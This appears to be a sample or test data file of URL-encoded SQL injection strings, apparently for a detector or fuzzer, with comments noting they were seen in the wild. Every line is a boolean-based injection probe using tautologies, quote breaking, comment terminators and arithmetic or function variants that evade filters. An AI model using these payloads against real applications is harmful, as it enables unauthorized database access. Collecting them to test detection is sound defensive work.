# samples
# unlikely to execute correctly
# probably just generated automatically without regard for usefulness
# but seen in wild  "FIELD AND NUM=NUM"

# FAILS
#"1*HOPE AND 8=3",
#"0+HOPE AND 8=3",
#"0+(HOPE) AND 8=3",
HOPE%2A1+AND+8%3D3
## HOPE%2A%281%29+AND+8%3D3

# RHS variations
HOPE+AND+8%3D3
HOPE+AND+-8%3D3
HOPE+AND+-8%3D-3
HOPE+AND+%28-8%29%3D%28-3%29
HOPE+AND+%288%29%3D3
HOPE+AND+8%3D%283%29
HOPE+AND+%288%29%3D%283%29
HOPE+AND+1%2B2%3D3%2B4
HOPE+AND+COS%283%29%3DSIN%284%29

# lhs work arounds
HOPE%2A1+AND+8%3D3
## HOPE%2A%281%29+AND+8%3D3
%28HOPE%29+AND+8%3D3
%28HOPE%29%2A1+AND+8%3D3
%28HOPE%29%2B0+AND+8%3D3
1%2A%28HOPE%29+AND+8%3D3
%281%29%2A%28HOPE%29+AND+8%3D3
%281%29%2AHOPE+AND+8%3D3
%28%281%29%29%2AHOPE+AND+8%3D3
%28%281%29%29%2A%28HOPE%29+AND+8%3D3
%28%281%29%29%2A%28%28HOPE%29%29+AND+8%3D3
%28%28%281%29%29%29%2AHOPE+AND+8%3D3
%28%28%28%281%29%29%29%29%2AHOPE+AND+8%3D3

# based on NUM AND 1=1--
PI%28%29+AND+COS%28PI%28%29%29%3D-1
PI%28%29+%26%26+COS%28PI%28%29%29%3D-1
FLOOR%28PI%28%29%29+AND+SIN%28PI%28%29%29%3D0
-9-%282%29+OR+1+%3D+1
8-9+OR+1+%3D+1
-9-%282%29+OR+1+%3D+1
-9-%28%282%29%29+OR+1+%3D+1
-9-%28%28%282%29%29%29+OR+1+%3D+1
%7E9-%282%29+OR+1+%3D+%7E1
a%27%2712%27+and+%28pi%28%29%3Dpi%28%29%29--
a%27%2712%27+and+pi%28%29%3Dpi%28%29--
dingberry%27%271%27+and+%28false%29--
dingberry%27%271%27+and+%28pi%28%29%3D3%29--
dingberry%27%271%27+and+%283%3Dpi%28%29%29--
1%27%2712%27+and+%283%3Dpi%28%29%29--
1%27%2B%2712%27+and+%283%3Dpi%28%29%29--
1%27%2B%28%2712%27%29+and+%283%3Dpi%28%29%29--
1%27%2B%28%28%2712%27%29%29+and+%283%3Dpi%28%29%29--
1%27%2B%28%28%28%2712%27%29%29%29+and+%283%3Dpi%28%29%29--
1%2B%28%2712%27%29+and+%283%3Dpi%28%29%29--
1%2Bpi%28%29+and+%283%3Dpi%28%29%29--
1%2B%28pi%28%29%29+and+%283%3Dpi%28%29%29--
1%2B%28%28pi%28%29%29%29+and+%283%3Dpi%28%29%29--
1%2B%28%28%28pi%28%29%29%29%29+and+%283%3Dpi%28%29%29--
1%27%2Bpi%28%29+and+%283%3Dpi%28%29%29--
1234%27%27z%27+and+%283%3Dpi%28%29%29--
foo%27+and+1%2B2%2B3%2B4%2B5%2B6%3D21--
foo%27+and+1%2B2%2B3%2B4%2B5%2B6%3D%2821%29--
foo%27+and+%281%2B2%2B3%2B4%2B5%2B6%29%3D21--
foo%27+and+1%2B2%2B3%2B4%2B5%2B6%3D%287%2A3%29--
foo%27+and+%281%2B2%2B3%2B4%2B5%2B6%29%3D%287%2A3%29--
foo%27+and+%281%2B2%2B3%2B4%2B5%2B6%29%3D7%2A3--
foo%27+and+%281%2B2%2B3%2B%284%2B5%2B6%29%29%3D7%2A3--